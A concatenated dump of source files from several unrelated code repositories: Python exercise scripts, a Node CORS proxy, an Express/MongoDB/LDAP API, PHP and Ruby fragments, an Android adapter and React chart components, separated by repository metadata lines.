Mat colorFrame;
AreaCalculator areaCalculator;
colorFrame = imread("/home/oamakas/projects/cpp_projects/area_by_color/1b3r.jpg", CV_LOAD_IMAGE_ANYCOLOR);
cout << areaCalculator.processMat(colorFrame);
return 0;
}
| 0aff1a7b84351b892a10fe3eaf19c74aba37f804 | [
"Markdown",
"C++"
] | 2 | Markdown | murillocjr/android-meetup-opencv-cpp-netbeans | bb9c108e13aba374aea33af1ec39bfe8d0870fcd | 074af9ab33edcee91dec9f3fadae5e03476ee9fa |
refs/heads/master | <repo_name>TheTharin/sinatra-bootstrap-clean<file_sep>/app.rb
#encoding: utf-8
require 'rubygems'
require 'sinatra'
require 'sinatra/reloader'
require 'sqlite3'
| bc122e7c410880cc6869ab968e4752a178b767c4 | [
"Ruby"
] | 1 | Ruby | TheTharin/sinatra-bootstrap-clean | 19f7285c8afa4c413e1a91ad844395a3b2fc460e | f10808880a2d3085b2b5d111153b57b6fc4e509c |
refs/heads/master | <file_sep>import React, { useEffect, useState } from 'react'
import { useParams } from 'react-router-dom'
import AddComment from './AddComment'
export default function CommentsPostDetail() {
const { postId } = useParams();
const [ comments, setComments ] = useState([])
useEffect(() => {
fetch(`/api/v1/posts/${postId}/comments`)
.then(res => res.json())
.then(data => {
setComments(data)
})
}, [postId])
const addComment = (comment) => {
setComments(comments.concat(comment))
}
return (
<div>
{comments.map((comment) => {
return <div key={comment.id}>{` Comment Author: ${comment.author}`}<br />{`Comment: ${comment.content}`} <hr /></div>
})}
<AddComment addComment={addComment}/>
</div>
)
} | e296a865f0d83fb35f3d375ca445ca80dc04299a | [
"JavaScript"
] | 1 | JavaScript | bargavi-dev/client | 0a8d65789921b9ce94960feedac2e2f7884893f0 | 8f86e1ced63ef2be9372b7007d141f7547979ebc |
refs/heads/main | <file_sep><?php
namespace app\Models;
class Task {
public function __construct($id,$title,$description,$completed){
}
}<file_sep><?php
require 'vendor/autoload.php';
require 'app/framework/bootstrap.php';
require 'app/index.php';
require 'resources/views/index.blade.php';
<file_sep>#!/usr/bin/env php
<?php
echo 'Hola mon!';<file_sep><?php
use Dotenv\Dotenv;
use Framework\App;
use Framework\Database\Connection;
use Framework\Database\Database;
$dotenv = Dotenv::createImmutable(__DIR__.'/..');
$dotenv->load();
App::bind('config', require 'config.php');
App::bind('database', new Database(
Connection::make(App::get('config')['database'])
));
<file_sep><?php
function greet() {
$name = $_GET['name'];
$username = $_GET['username'];
return "Hola $name $username !" ;
}
function dd($xivato)
{
var_dump($xivato);
die();
}<file_sep><?php
namespace Framework\Database;
use PDO;
class Connection
{
public static function make($config){
try {
return new PDO($config['databasetype'] . ':host=' . $config['host'] . ';dbname=' . $config['name'],
$config['user'],
$config['password']);
} catch (\Exception $e) {
echo 'Error a la connexió a la base de dades';
}
}
}<file_sep><?php
use Framework\App;
require 'app/helpers.php';
$tasks = App::get('database')->selectAll('tasks');
//$database = new Database(App::get('config'));
/*$tasks = Database::selectAll('tasks');*/
/*$tasks = Task::selectAll('tasks'); */
$greeting = greet();
//$greeting = 'Hola' . $_GET['name'] . '!' ;
<file_sep><?php
return [
'database' => [
'user' => $_ENV['DB_USERNAME'],
'password' => $_ENV['<PASSWORD>'],
'databasetype' => $_ENV['DB_CONNECTION'],
'host' => $_ENV['DB_HOST'],
'name' => $_ENV['DB_DATABASE'],
]
]; | 0a1ecd7e4e3e695d2334618d3e04ca6ad2bc5b48 | [
"PHP"
] | 8 | PHP | jordirp/M09_php_laravel | 786629443104de113dc208c3e4e542e944f86a76 | 071993eebc0dabf21ec1c05ded6eaa34ee5b23ee |
refs/heads/main | <repo_name>AxFrancois/CS-DEV-Divers-Exo<file_sep>/README.md
# CS-DEV-Divers-Exo
Python exercises for the CS-DEV module at CPE Lyon.
<file_sep>/TP1/ex6.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 23 16:14:23 2020
@author: axel
"""
def tricolore(n):
"""Fonction qui retourne si un nombre n est tricolore ou pas"""
valren = True
nsquare = str(n**2)
for i in nsquare:
if i not in ["1","4","9"]:
valren = False
return valren
def tous_les_tricolores(N):
"""Fonction qui retourne l'ensemble des nombres tricolores d'une liste N"""
valren = []
for i in N:
if tricolore(i) == True:
valren.append(i)
return valren
print(tricolore(16))
print(tous_les_tricolores(list(range(1,1001))))
<file_sep>/TP1/ex5.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 23 15:54:40 2020
@author: axel
"""
def fConjectureSyracuseSuite(pNombre):
"""Fonction qui retourne la suite de la conjecture de Syracuse pour un nombre n"""
suite=[pNombre]
while pNombre != 1:
if pNombre % 2 == 0:
pNombre = pNombre/2
else:
pNombre = pNombre*3 +1
suite.append(int(pNombre))
return suite
def fConjectureSyracuseAltitudeMax(pNombre):
"""Fonction qui retourne l'altitude maximum dans la suite de la conjecture de Syracuse pour un nombre n"""
liste = fConjectureSyracuseSuite(pNombre)
return max(liste)
def fConjectureSyracuseTpsVol(pNombre):
"""Fonction qui retourne la durée de vol dans la suite de la conjecture de Syracuse pour un nombre n"""
liste = fConjectureSyracuseSuite(pNombre)
return len(liste)
print(fConjectureSyracuseSuite(500))
print(fConjectureSyracuseAltitudeMax(500))
print(fConjectureSyracuseTpsVol(500))
maxtempsvol = 1
maxalt = 1
for i in range(1,1001):
if fConjectureSyracuseTpsVol(i) > fConjectureSyracuseTpsVol(maxtempsvol):
maxtempsvol = i
if fConjectureSyracuseAltitudeMax(i) > fConjectureSyracuseAltitudeMax(maxalt):
maxalt = i
print(maxtempsvol, maxalt)
<file_sep>/TP1/ex1.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 23 13:35:22 2020
@author: axel
"""
def fIsBissextile(pYear):
"""Vérife que pYear est une année bissextile, return True ou False"""
if ((str(pYear)[-2:] != "00") and (int(pYear) % 4 == 0)) or (int(pYear) % 400 == 0):
valren = True
else:
valren = False
return valren
def fNbJourMois(pMois, pYear):
"""retourne le nombre de jour dans un mois pMois donné d'une année pYear donné"""
mois31j = ["01","03","05","07","08","10","12"]
mois30j = ["04","06","09","11"]
valren = 0
if str(pMois) == "02":
if fIsBissextile(pYear) == True:
valren = 29
else:
valren = 28
elif str(pMois) in mois31j:
valren = 31
elif str(pMois) in mois30j:
valren = 30
return valren
def fIsDateValide(pJour, pMois, pYear):
"""vérifie qu'une date soit valide, return True ou False"""
valren = False
if int(pMois) <= 12 and int(pMois) >= 1:
NbJour = fNbJourMois(pMois, pYear)
if int(pJour) <= NbJour and int(pJour) >= 1:
valren = True
else:
valren = False
else:
valren = False
return valren
print("Entrez la date avec le format JJ/MM/AAAA")
date = str(input())
result = fIsDateValide(date[:2], str(date[3:5]), date[6:10])
if result == True:
print("Date valide")
else:
print("Date non valide")
"""#Batch de test
print(fIsBissextile(2000))
print(fIsBissextile(2020))
print(fIsBissextile(1900))
print(fNbJourMois("02",1900))
print(fNbJourMois("02",2000))
print(fNbJourMois("08",1900))
print(fNbJourMois("10",2000))
print(fIsDateValide(25,"12",2000))
print(fIsDateValide(31,"12",2000))
print(fIsDateValide(1,"01",2000))
print(fIsDateValide(29,"02",2000))
print(fIsDateValide(10,"13",2000))
"""<file_sep>/TP1/ex7.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 23 16:23:31 2020
@author: axel
"""
def fListeDiviseurs(pNombre):
"""Fonction qui retourne la liste des diviseurs d'un nombre pNombre"""
valren = []
liste = list(range(1,pNombre+1))
for i in liste:
if pNombre%i == 0:
valren.append(i)
return valren
nombre1 = 66928
nombre2 = 66992
diviseurs1 = fListeDiviseurs(nombre1)
diviseurs2 = fListeDiviseurs(nombre2)
if sum(diviseurs1) == sum(diviseurs2) and sum(diviseurs1) == (nombre1+nombre2):
print('{} et {} sont des nombres amicaux'.format(nombre1,nombre2))
else:
print('non')<file_sep>/TP1/ex4.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 23 15:08:14 2020
@author: axel
"""
def fTourHanoï(pNetage, pPlotInit, pPlotFinal, pPlotInterMédiaire):
"""Fonction qui indique les coups pour résoudre le casse tête de la tour de Hanoï"""
if pNetage == 1:
print('Déplacer le disque du plot {} vers le plot {}'.format(pPlotInit, pPlotFinal))
else:
fTourHanoï(pNetage-1, pPlotInit, pPlotInterMédiaire, pPlotFinal)
print('Déplacer le disque du plot {} vers le plot {}'.format(pPlotInit, pPlotFinal))
fTourHanoï(pNetage-1, pPlotInterMédiaire, pPlotFinal, pPlotInit)
fTourHanoï(4,1,3,2)
"""
def fTourHanoï(pNetage,pEtat):
if pNetage == 1:
print("Déplacer le disque du plot 1 vers le plot 3")
pEtat[2].append(pEtat[0][0])
pEtat[0].remove(pEtat[0][0])
print(pEtat)
elif pNetage%2 ==0 :
print("Déplacer le disque du plot 1 vers le plot 2")
pEtat[1].append(pEtat[0][0])
pEtat[0].remove(pEtat[0][0])
print(pEtat)
fTourHanoï(pNetage-1,pEtat)
print("Déplacer le disque du plot 2 vers le plot 3")
pEtat[2]= [pEtat[1][0]] + pEtat[2]
pEtat[1].remove(pEtat[1][0])
print(pEtat)
else:
print("Déplacer le disque du plot 1 vers le plot 3")
pEtat[2].append(pEtat[0][0])
pEtat[0].remove(pEtat[0][0])
print(pEtat)
fTourHanoï(pNetage-1,pEtat)
print("Déplacer le disque du plot 3 vers le plot 2")
pEtat[1].append(pEtat[2][0])
pEtat[2].remove(pEtat[2][0])
print(pEtat)
Etage = 3
Etat = [list(range(1,Etage+1)), [],[]]
print(Etat)
fTourHanoï(Etage, Etat)
"""<file_sep>/TP1/ex3.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 23 14:35:28 2020
@author: axel
"""
def multiplication(pA, pB):
"""calulateur d'un produit de matrice AB"""
if len(pB) == len(pA[0]):
print("dimensions compatibles")
else:
print("dimensions incompatibles")
return -1
#NombreTermes = len(pA) * len(pB[0])
NombreTermesParLigne = len(pB[0])
NombreColonnes = len(pA)
valren = []
for j in range(NombreColonnes):
ligne = []
for i in range(NombreTermesParLigne):
somme = 0
for k in range(len(pB)):
somme += pA[j][k] * pB[k][i]
ligne.append(somme)
valren.append(ligne)
return valren
"""batch test"""
B = [[0,1,2],
[1,0,1],
[2,1,0]]
A = [[1,2,3],
[4,5,6],
[7,8,9]]
C = multiplication(A,B)
print(C)<file_sep>/TP1/ex2.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Nov 23 14:11:38 2020
@author: axel
"""
import math
def mesImpots(revenu):
"""calculateur impots sur le revenu"""
valren = 0
Tranche = [[0,9964,0],[9964,27519,14],[27519,73779,30],[73779,156244,41],[156244,math.inf,45]]
for i in range(len(Tranche)):
if revenu > Tranche[i][0] and revenu < Tranche[i][1] :
valren += (revenu-Tranche[i][0]) * Tranche[i][2] /100
elif revenu >= Tranche[i][1]:
valren += (Tranche[i][1]-Tranche[i][0]) * Tranche[i][2] /100
return valren
"""Batch de test
print(mesImpots(50000))
"""
print(mesImpots(int(input("vos revenus")))) | 719614a4209b6a33ee8b2f49b414c51e6540f349 | [
"Markdown",
"Python"
] | 8 | Markdown | AxFrancois/CS-DEV-Divers-Exo | d8553d8523090026fc0904a732cd4da4843185f2 | e59c48979eb6224ef31952c90b3ba041286aa33f |
refs/heads/master | <repo_name>cheddarup/cors-proxy<file_sep>/handler.js
const p = require("phin");
module.exports.corsProxy = async (event, context) => {
let params = event.queryStringParameters;
if (!params.url) {
return {
statusCode: 400,
body: "Unable get url from 'url' query parameter"
};
}
try {
const res = await p({
url: params.url,
method: event.httpMethod,
data: event.body ? JSON.parse(event.body) : null,
timeout: 20000
});
const response = {
statusCode: res.statusCode,
headers: {
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Credentials": true,
...res.headers
},
body: res.body.toString('base64'),
isBase64Encoded: true
};
return response;
} catch (err) {
console.log(`Got error`, event, params, err);
return {
statusCode: 400,
body: err.msg
};
}
};
| fbf0a9492122b155377c6a2a434c6e6eb41d392f | [
"JavaScript"
] | 1 | JavaScript | cheddarup/cors-proxy | 51dea2e6b1792cc45ed5cad209de684599668cee | ccc1a451fc527aecf64a219325acf6d516755ebb |
refs/heads/master | <file_sep>const axios = require('axios');
// GET request for list of all todos.
exports.bdl_buildingList_get = async(req, res) => {
try {
const headers = {};
headers[process.env.BDL_SECURITY_HEADER] = req.headers[process.env.BDL_SECURITY_HEADER];
const batiments = await axios.get(`${process.env.BDL_API}/batiments`, {
headers,
});
res.status(200).send(batiments.data);
} catch (e) {
res.status(400).send(e);
}
};
<file_sep>const express = require('express');
const router = express.Router();
const {authenticate} = require('../middleware/authenticate');
const todo_controller = require('../controllers/todoController');
/// TODOS ROUTES ///
// GET request for list of all todos.
router.get('/', authenticate, todo_controller.todo_list);
// GET request for todo by id
router.get('/:id', authenticate, todo_controller.todo_get);
// DEL request delete todo by id
router.delete('/:id', authenticate, todo_controller.todo_delete);
// POST request to create new todo
router.post('/', authenticate, todo_controller.todo_add_post);
// GET request for todo update.
router.patch('/:id', authenticate, todo_controller.todo_update_patch);
module.exports = router;
<file_sep>const mongoose = require('mongoose');
const validator = require('validator');
const jwt = require('jsonwebtoken');
const _ = require('lodash');
const bcrypt = require('bcryptjs');
const { auth, findUsers, findUser } = require('./ldap');
const UserSchema = new mongoose.Schema({
mail: {
type: String,
required: false,
trim: true,
validate: {
validator: value => {
if (value) validator.isEmail(value);
return true;
},
message: '{VALUE} is not a valid Email'
},
default: null
},
username: {
type: String,
require: true,
minlength: 6
},
password: {
type: String,
require: false,
minlength: 6
},
tokens: [{
access: {
type: String,
required: true
},
token: {
type: String,
required: true
}
}],
role: {
type: String,
enum: ['user', 'admin-wt3d'],
default: 'user'
},
type: {
type: String,
enum: ['ldap', 'ext'],
default: 'ldap'
},
displayName: {
type: String
},
title: {
type: String
}
});
UserSchema.methods.toJSON = function() {
const user = this;
const userObject = user.toObject();
return _.pick(userObject, ['_id', 'username', 'type', 'role', 'mail', 'displayName', 'title']);
};
UserSchema.methods.generateAuthToken = function() {
const user = this;
const access = 'auth';
const token = jwt.sign({_id: user._id.toHexString(), access}, process.env.JWT_SECRET).toString();
user.tokens.push({access, token});
console.log(`generateAuthToken user :${JSON.stringify(user, null, 3)}`);
return user.save().then(() => token);
};
UserSchema.methods.removeToken = function(token) {
const user = this;
return user.update({
$pull: {
tokens: {token}
}
});
};
UserSchema.statics.findByToken = function(token) {
const User = this;
let decoded;
try {
decoded = jwt.verify(token, process.env.JWT_SECRET);
} catch (e) {
return Promise.reject();
}
return User.findOne({
'_id': decoded._id,
'tokens.token': token,
'tokens.access': 'auth'
});
};
UserSchema.statics.searchUsersInAD = function(query, match) {
if (query.length < 3) {
return Promise.reject({error: ' query length is less than 3 '});
} else return findUsers(query, match)
.then(list => Promise.resolve(list))
.catch(e => Promise.reject(e));
};
UserSchema.statics.searchUserInAD = function(username) {
if (username.length < 3) {
return Promise.reject({error: ' username length is less than 3 '});
} else return findUser(username)
.then(user => Promise.resolve(user))
.catch(e => Promise.reject(e));
};
UserSchema.statics.findByCredentials = function(username, password) {
const User = this;
return User.findOne({username}).then(user => {
if (!user) {
return Promise.reject();
}
if (user.type === 'ldap') {
console.log('ldap case ');
return auth(username, password)
.then(ldapUser => {
console.log('ldap user && pass are ok ');
// enrich user data
user.mail = ldapUser.mail;
user.displayName = ldapUser.displayName;
user.title = ldapUser.title;
return Promise.resolve(user);
}
).catch(e => {
console.log('ldap user && pass are NOT Ok ');
return Promise.reject(e);
}
);
} else {
return new Promise((resolve, reject) => {
// Use bcrypt.compare to compare password and user.password
bcrypt.compare(password, user.password, (err, res) => {
if (res) {
resolve(user);
} else {
reject();
}
});
});
}
});
};
UserSchema.pre('save', function(next) {
const user = this;
console.log(`pre save user :${JSON.stringify(user, null, 3)}`);
if (user.isModified('password')) {
bcrypt.genSalt(10, (err, salt) => {
bcrypt.hash(user.password, salt, (err, hash) => {
user.password = <PASSWORD>;
next();
});
});
} else {
next();
}
});
const User = mongoose.model('User', UserSchema);
module.exports = {User};
<file_sep>const express = require('express');
const router = express.Router();
const {authenticate} = require('../middleware/authenticate');
const wt3d_controller = require('../controllers/wt3dController');
/// TODOS ROUTES ///
// GET request for list of all todos.
router.get('/populate', wt3d_controller.populate_data);
module.exports = router;
<file_sep>const mongoose = require('mongoose');
const LocalTypeSchema = new mongoose.Schema({
name: {
type: String,
required: true
},
refId: {
type: Number,
required: true
}
});
const LocalType = mongoose.model('LocalType', LocalTypeSchema);
module.exports = {LocalType};
<file_sep>const {Todo} = require('../models/todo');
const {ObjectID} = require('mongodb');
const _ = require('lodash');
// GET request for list of all todos.
exports.todo_list = async(req, res) => {
try {
const todos = await Todo.find({_creator: req.user._id});
res.send({todos});
} catch (e) {
res.status(400).send(e);
}
};
// GET request for todo by id
exports.todo_get = (req, res) => {
const id = req.params.id;
if (!ObjectID.isValid(id)) {
return res.status(404).send();
}
Todo.findOne({
_id: id,
_creator: req.user._id
}).then(todo => {
if (!todo) {
return res.status(404).send();
}
res.send({todo});
}).catch(e => {
res.status(400).send();
});
};
// DEL request delete todo by id
exports.todo_delete = async(req, res) => {
const id = req.params.id;
if (!ObjectID.isValid(id)) {
return res.status(404).send();
}
try {
const todo = await Todo.findOneAndRemove({
_id: id,
_creator: req.user._id
});
if (!todo) {
return res.status(404).send();
}
res.send({todo});
} catch (e) {
res.status(400).send();
}
};
// POST request to create new todo
exports.todo_add_post = async(req, res) => {
try {
const todo = new Todo({
text: req.body.text,
_creator: req.user._id
});
const doc = await todo.save(); // save it into DB
res.send(doc); // returns it
} catch (e) {
res.status(400).send(e);
}
};
// GET request for todo update.
exports.todo_update_patch = (req, res) => {
const id = req.params.id;
const body = _.pick(req.body, ['text', 'completed']);
if (!ObjectID.isValid(id)) {
return res.status(404).send();
}
if (_.isBoolean(body.completed) && body.completed) {
body.completedAt = new Date().getTime();
} else {
body.completed = false;
body.completedAt = null;
}
Todo.findOneAndUpdate({_id: id, _creator: req.user._id}, {$set: body}, {new: true}).then(todo => {
if (!todo) {
return res.status(404).send();
}
res.send({todo});
}).catch(e => {
res.status(400).send();
});
};
<file_sep>const LdapAuth = require('ldapauth-fork');
const ActiveDirectory = require('activedirectory');
/*
const ldap = new LdapAuth({
url: process.env.LDAP_URL,
bindDN: process.env.LDAP_BIND_DN,
bindCredentials: process.env.LDAP_BIND_CREDENTIALS,
searchBase: process.env.LDAP_SEARCH_BASE,
searchFilter: '(&(objectClass=person)(sAMAccountName={{username}}))',
reconnect: true,
'groupSearchBase': 'OU=Personnes,DC=UNINE,DC=CH',
'groupSearchFilter': '(member={{dn}})',
'cache': false
});
*/
const ldap = new LdapAuth({
url: process.env.LDAP_URL,
bindDN: process.env.LDAP_BIND_DN,
bindCredentials: process.env.LDAP_BIND_CREDENTIALS,
searchBase: process.env.LDAP_SEARCH_BASE,
searchFilter: '(&(objectClass=person)(sAMAccountName={{username}}))',
reconnect: true,
'cache': false
});
const activeDirectory = new ActiveDirectory({
'url': process.env.LDAP_URL,
'baseDN': process.env.LDAP_SEARCH_BASE,
'username': process.env.LDAP_BIND_DN,
'password': <PASSWORD>.LDAP_<PASSWORD>_CREDENTIALS
});
/*
ldap.on('error', err => {
console.error('ldap.js line 36 error: ', err);
});
*/
const auth = (username, password) => new Promise((resolve, reject) => {
if (!password || !username) {
reject({error: 'username or password are not provided '});
}
try {
ldap.authenticate(username, password, (err, user) => {
ldap.close();
if (err) {
reject(err);
}
resolve(user);
});
} catch (e) {
ldap.close();
reject(e);
}
});
const findUser = sAMAccountName =>
new Promise((resolve, reject) => {
activeDirectory.findUser(sAMAccountName, (err, user) => {
if (err) {
console.error('Error in LDAPClient.getUsers() - findUsers() failed with error : ', err);
reject({ code: 500, message: 'There was an error with the LDAP request.' });
return;
}
resolve(user);
});
});
const findUsers = (q, match) =>
new Promise((resolve, reject) => {
const opts = {
baseDN: 'ou=Collaborateurs, ou=Personnes, dc=unine, dc=ch',
attributes: ['cn', 'displayName', 'mail', 'sAMAccountName', 'department', 'title'],
filter: match === 1 ? `cn=${q}` : `cn=*${q}*`
};
activeDirectory.findUsers(opts, (err, users) => {
if (err) {
console.error('Error in LDAPClient.getUsers() - findUsers() failed with error : ', err);
reject({ code: 500, message: 'There was an error with the LDAP request.' });
return;
}
const ldapUsers = [];
if (users) {
for (const p of users)
ldapUsers.push({
displayName: p.displayName,
mail: p.mail,
login: p.sAMAccountName,
department: p.department,
title: p.title
});
ldapUsers.sort(
(p1, p2) => {
if (p1.name > p2.name) {
return 1;
} else if (p1.name === p2.name) {
return 0;
} else {
return -1;
}
}
);
}
resolve(ldapUsers);
});
});
module.exports = { auth, findUsers, findUser };
<file_sep>const _ = require('lodash');
const {User} = require('../models/user');
// GET request for list of all users.
exports.user_list_get = async(req, res) => {
try {
const users = await User.find({});
res.send({users});
} catch (e) {
res.status(400).send(e);
}
};
// POST request for list users from AD
exports.user_list_ad_post = async(req, res) => {
const body = _.pick(req.body, ['query', 'match']);
try {
const users = await User.searchUsersInAD(body.query, body.match);
res.send(users);
} catch (e) {
res.status(400).send(e);
}
};
// POST request for user from AD
exports.user_user_ad_post = async(req, res) => {
const body = _.pick(req.body, ['query']);
try {
const user = await User.searchUserInAD(body.query);
res.send(user);
} catch (e) {
res.status(400).send(e);
}
};
// GET request for user info.
exports.user_info_get = async(req, res) => {
try {
res.send(req.user);
} catch (e) {
res.status(400).send(e);
}
};
// POST request to create new user
exports.user_add_post = async(req, res) => {
try {
console.log(`user to be saved ${JSON.stringify(req.body, null, 3)} `);
const body = _.pick(req.body, ['username', 'password']);
const type = body.password ? 'ext' : 'ldap';
body.type = type;
console.log(`user to be saved ${JSON.stringify(body, null, 3)} `);
const user = new User(body);
await user.save();
//const token = await user.generateAuthToken();
//res.header('x-auth', token).send(user);
res.send(user);
} catch (e) {
res.status(400).send(e);
}
};
// POST request to login user
exports.user_login_post = async(req, res) => {
try {
const body = _.pick(req.body, ['username', 'password']);
const user = await User.findByCredentials(body.username, body.password);
const token = await user.generateAuthToken();
res.header('x-auth', token).send(user);
} catch (e) {
res.status(400).send();
}
};
// DEL request to logout user
exports.user_logout_post = async(req, res) => {
try {
await req.user.removeToken(req.token);
res.status(200).send();
} catch (e) {
res.status(400).send();
}
};
<file_sep>const mongoose = require('mongoose');
const BuildingSchema = new mongoose.Schema({
description: {
type: String,
require: false,
minlength: 6
},
buildingIds: {
type: Array,
require: true
},
buildingRouteUrl: {
type: String,
require: true
},
serviceOffices: [{
code: {
type: String,
required: true
},
value: {
type: String,
required: true
}
}],
secretarias: [{
code: {
type: String,
required: true
},
value: {
type: String,
required: true
}
}],
elevators: {
type: Array,
require: true
},
stairs: {
type: Array,
require: true
},
wcs: {
type: Array,
require: true
},
otherTabs: [{
_localType: {
type: mongoose.Schema.Types.ObjectId,
required: true
},
sortOrder: {
type: Number,
required: true
}
}],
buildingRouteExceptions: [{
localCode: {
type: String,
required: true
},
floorId: {
type: Number,
required: true
}
}],
buildingRouteExclud: [{
localCode: {
type: String,
required: true
},
msg: {
type: String,
required: true
}
}],
updateDate: {
type: Number,
default: null
},
_editor: {
type: mongoose.Schema.Types.ObjectId,
required: false
}, creationDate: {
type: Number,
default: null
},
_creator: {
type: mongoose.Schema.Types.ObjectId,
required: false
}
});
const Building = mongoose.model('Building', BuildingSchema);
module.exports = {Building};
<file_sep>const express = require('express');
const router = express.Router();
const {authenticate} = require('../middleware/authenticate');
const user_controller = require('../controllers/userController');
/// USERS ROUTES ///
// GET request for user info
router.get('/me', authenticate, user_controller.user_info_get);
// POST request for list from AD by query
router.post('/searchUsersAD', authenticate, user_controller.user_list_ad_post);
// POST request for user from AD by query
router.post('/searchUserAD', authenticate, user_controller.user_user_ad_post);
// GET request for list of all users.
router.get('/', authenticate, user_controller.user_list_get);
// POST request to create new user
// router.post('/', authenticate, user_controller.user_add_post);
router.post('/', user_controller.user_add_post);
// POST request to login user
router.post('/login', user_controller.user_login_post);
// DEL request to logout user
router.delete('/me/token', authenticate, user_controller.user_logout_post);
module.exports = router;
<file_sep>const mongoose = require('mongoose');
mongoose.Promise = global.Promise;
const myUri = process.env.MONGODB_URI;
mongoose.connect(myUri, {
socketTimeoutMS: 0,
keepAlive: true,
reconnectTries: 30,
useMongoClient: true
});
module.exports = { mongoose };
<file_sep># unine-wt3d-api
# todos
1 - add the Wt3d model and finalize the CRUD opreations
2 - split routing by module - check-up express docs
3 - complete the user modules
4 - add the unit tests
5 - create a route to group all the bdl api
6 - user model
# extra
- login screen sample (https://github.com/cornflourblue/react-redux-registration-login-example/tree/master/src
- https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes
| 7dc57d0b9d525d7efa504d4c18cda6ffbcbd031f | [
"JavaScript",
"Markdown"
] | 12 | JavaScript | kanso-git/unine-wt3d-api | 30cad38c9328f1bafa2f19ac42ae58a1b7f41ba7 | 3df93d9093bf899a1088dc85b97768c9e46ad6cb |
refs/heads/master | <repo_name>Ritiksn33/My-Projects<file_sep>/machineTest/app/src/main/java/com/example/machinetest/ImageAdapter.java
package com.example.machinetest;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import java.util.ArrayList;
public class ImageAdapter extends ArrayAdapter<ImageModel> {
public ImageAdapter(@NonNull Context context, ArrayList<ImageModel> ImageModelArrayList) {
super(context, 0, ImageModelArrayList);
}
@NonNull
@Override
public View getView(int position, @Nullable View convertView, @NonNull ViewGroup parent) {
View listitemView = convertView;
if (listitemView == null) {
// Layout Inflater inflates each item to be displayed in GridView.
listitemView = LayoutInflater.from(getContext()).inflate(R.layout.card_item, parent, false);
}
ImageModel ImageModel = getItem(position);
TextView imageTV = listitemView.findViewById(R.id.idTVimage);
ImageView imageIV = listitemView.findViewById(R.id.idIVimage);
imageTV.setText(ImageModel.getimage_name());
imageIV.setImageResource(ImageModel.getImgid());
return listitemView;
}
}
<file_sep>/machineTest/app/src/main/java/com/example/machinetest/ImageModel.java
package com.example.machinetest;
public class ImageModel {
// string image_name for storing image_name
// and imgid for storing image id.
private String image_name;
private int imgid;
public ImageModel(String image_name, int imgid) {
this.image_name = image_name;
this.imgid = imgid;
}
public String getimage_name() {
return image_name;
}
public void setimage_name(String image_name) {
this.image_name = image_name;
}
public int getImgid() {
return imgid;
}
public void setImgid(int imgid) {
this.imgid = imgid;
}
}
<file_sep>/machineTest/settings.gradle
rootProject.name = "machineTest"
include ':app'
| b9b8f95a7f895cd64fafd8bf44f54ef60da8796d | [
"Java",
"Gradle"
] | 3 | Java | Ritiksn33/My-Projects | ce180994be813de08b6b5199288df3298dfbb372 | 6968d6cd7ec0f70316556a90f8547d9bd78b842d |
refs/heads/master | <repo_name>nikolenkoanton92/victory-core<file_sep>/src/victory-primitives/candle.js
import React, { PropTypes } from "react";
import Helpers from "../victory-util/helpers";
import { assign } from "lodash";
export default class Candle extends React.Component {
static propTypes = {
active: PropTypes.bool,
className: PropTypes.string,
index: PropTypes.number,
x: PropTypes.number,
y1: PropTypes.number,
y2: PropTypes.number,
y: PropTypes.number,
events: PropTypes.object,
candleHeight: PropTypes.number,
shapeRendering: PropTypes.string,
scale: PropTypes.object,
style: PropTypes.object,
datum: PropTypes.object,
width: PropTypes.number,
padding: PropTypes.oneOfType([
PropTypes.number,
PropTypes.object
]),
data: PropTypes.array,
groupComponent: PropTypes.element,
role: PropTypes.string
}
// Overridden in victory-core-native
renderWick(wickProps) {
return <line {...wickProps}/>;
}
// Overridden in victory-core-native
renderCandle(candleProps) {
return <rect {...candleProps}/>;
}
getCandleProps(props) {
const { width, candleHeight, x, y, data, events, role, className, datum, active} = props;
const style = Helpers.evaluateStyle(assign({stroke: "black"}, props.style), datum, active);
const padding = props.padding.left || props.padding;
const candleWidth = style.width || 0.5 * (width - 2 * padding) / data.length;
const candleX = x - candleWidth / 2;
const shapeRendering = props.shapeRendering || "auto";
return assign({
x: candleX, y, style, role, width: candleWidth, height: candleHeight,
shapeRendering, className
}, events);
}
getWickProps(props) {
const { x, y1, y2, events, className, datum, active } = props;
const style = Helpers.evaluateStyle(assign({stroke: "black"}, props.style), datum, active);
const shapeRendering = props.shapeRendering || "auto";
const role = props.role || "presentation";
return assign({x1: x, x2: x, y1, y2, style, role, shapeRendering, className}, events);
}
render() {
const candleProps = this.getCandleProps(this.props);
const wickProps = this.getWickProps(this.props);
return React.cloneElement(
this.props.groupComponent, {}, this.renderWick(wickProps), this.renderCandle(candleProps)
);
}
}
<file_sep>/demo/app.js
/*global document:false */
import React from "react";
import ReactDOM from "react-dom";
import AnimationDemo from "./victory-animation-demo";
import LabelDemo from "./victory-label-demo";
import TooltipDemo from "./victory-tooltip-demo";
import { Router, Route, Link, hashHistory } from "react-router";
const content = document.getElementById("content");
const App = React.createClass({
propTypes: {
children: React.PropTypes.element
},
render() {
return (
<div>
<h1>App</h1>
<ul>
<li><Link to="/animation">Victory Animation Demo</Link></li>
<li><Link to="/label">Victory Label Demo</Link></li>
<li><Link to="/tooltip">Victory Tooltip Demo</Link></li>
</ul>
{this.props.children}
</div>
);
}
});
ReactDOM.render((
<Router history={hashHistory}>
<Route path="/" component={App}>
<Route path="animation" component={AnimationDemo}/>
<Route path="label" component={LabelDemo}/>
<Route path="tooltip" component={TooltipDemo}/>
</Route>
</Router>
), content);
<file_sep>/test/client/spec/victory-util/prop-types.spec.js
/* global sinon */
/* global console */
import {PropTypes} from "react";
import {PropTypes as CustomPropTypes} from "src/index";
describe("prop-types", () => {
/* eslint-disable no-console */
